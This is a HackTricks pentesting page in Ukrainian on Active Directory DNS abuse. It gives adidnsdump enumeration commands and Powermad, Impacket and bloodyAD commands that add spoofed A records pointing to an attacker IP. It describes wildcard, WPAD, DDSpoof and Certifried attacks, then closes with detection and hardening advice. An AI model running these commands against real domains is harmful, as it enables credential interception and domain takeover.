AD DNS Records
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
За замовчуванням будь-який користувач в Active Directory може перерахувати всі DNS записи в зонах DNS Домену або Лісу, подібно до передачі зони (користувачі можуть перерахувати дочірні об'єкти зони DNS в середовищі AD).
Інструмент adidnsdump дозволяє перерахування та експорт всіх DNS записів у зоні для цілей розвідки внутрішніх мереж.
git clone https://github.com/dirkjanm/adidnsdump
cd adidnsdump
pip install .
# Enumerate the default zone and resolve the "hidden" records
adidnsdump -u domain_name\\username ldap://10.10.10.10 -r
# Quickly list every zone (DomainDnsZones, ForestDnsZones, legacy zones,…)
adidnsdump -u domain_name\\username ldap://10.10.10.10 --print-zones
# Dump a specific zone (e.g. ForestDnsZones)
adidnsdump -u domain_name\\username ldap://10.10.10.10 --zone _msdcs.domain.local -r
cat records.csv
adidnsdump v1.4.0 (квітень 2025) додає JSON/Greppable (
--json
) вивід, багатопотокове DNS-резолюцію та підтримку TLS 1.2/1.3 при прив'язці до LDAPS
Для отримання додаткової інформації читайте https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/
Створення / Модифікація записів (ADIDNS спуфінг)
Оскільки група Authenticated Users за замовчуванням має Create Child на DACL зони, будь-який обліковий запис домену (або обліковий запис комп'ютера) може реєструвати додаткові записи. Це можна використовувати для перехоплення трафіку, примусу NTLM реле або навіть повного компрометації домену.
PowerMad / Invoke-DNSUpdate (PowerShell)
Import-Module .\Powermad.ps1
# Add A record evil.domain.local → attacker IP
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Verbose
# Delete it when done
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Delete -Verbose
Impacket – dnsupdate.py (Python)
# add/replace an A record via secure dynamic-update
python3 dnsupdate.py -u 'DOMAIN/user:Passw0rd!' -dc-ip 10.10.10.10 -action add -record evil.domain.local -type A -data 10.10.14.37
(dnsupdate.py постачається з Impacket ≥0.12.0)
BloodyAD
bloodyAD -u DOMAIN\\user -p 'Passw0rd!' --host 10.10.10.10 dns add A evil 10.10.14.37
Загальні атаки
- Запис з підстановкою –
*.<zone>
перетворює сервер AD DNS на відповідь для всієї підприємства, подібно до підробки LLMNR/NBNS. Його можна використовувати для захоплення NTLM хешів або для їх реле до LDAP/SMB. (Вимагає, щоб WINS-lookup був вимкнений.) - WPAD захоплення – додайте
wpad
(або NS запис, що вказує на хост зловмисника, щоб обійти Global-Query-Block-List) і прозоро проксіруйте вихідні HTTP запити для збору облікових даних. Microsoft виправив обходи підстановки/DNAME (CVE-2018-8320), але NS-записи все ще працюють. - Захоплення застарілого запису – заявіть IP-адресу, яка раніше належала робочій станції, і відповідний DNS запис все ще буде розв'язуватись, що дозволяє атаки з обмеженою делегацією на основі ресурсів або Shadow-Credentials без втручання в DNS.
- DHCP → DNS підробка – на стандартному розгортанні Windows DHCP+DNS неавтентифікований зловмисник в тій же підмережі може перезаписати будь-який існуючий A запис (включаючи контролери домену), надіславши підроблені DHCP запити, які викликають динамічні оновлення DNS (Akamai “DDSpoof”, 2023). Це дає можливість атаки "машина посередині" через Kerberos/LDAP і може призвести до повного захоплення домену.
- Certifried (CVE-2022-26923) – змініть
dNSHostName
облікового запису машини, якою ви керуєте, зареєструйте відповідний A запис, а потім запитайте сертифікат на це ім'я, щоб видавати себе за DC. Інструменти, такі як Certipy або BloodyAD, повністю автоматизують цей процес.
Виявлення та зміцнення
- Відмовте Аутентифікованим Користувачам право Створювати всі дочірні об'єкти на чутливих зонах і делегуйте динамічні оновлення спеціальному обліковому запису, що використовується DHCP.
- Якщо динамічні оновлення необхідні, встановіть зону на Тільки безпечну і увімкніть Захист Імен в DHCP, щоб лише об'єкт комп'ютера-власника міг перезаписати свій власний запис.
- Моніторте події DNS сервера з ID 257/252 (динамічне оновлення), 770 (передача зони) та записи LDAP до
CN=MicrosoftDNS,DC=DomainDnsZones
. - Блокуйте небезпечні імена (
wpad
,isatap
,*
) з навмисно безпечним записом або через Global Query Block List. - Тримайте DNS сервери оновленими – наприклад, RCE вразливості CVE-2024-26224 та CVE-2024-26231 досягли CVSS 9.8 і можуть бути віддалено експлуатовані проти контролерів домену.
Посилання
- Kevin Robertson – “ADIDNS Revisited – WPAD, GQBL and More” (2018, все ще де-факто посилання для атак з підстановкою/WPAD)
- Akamai – “Spoofing DNS Records by Abusing DHCP DNS Dynamic Updates” (Грудень 2023)
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.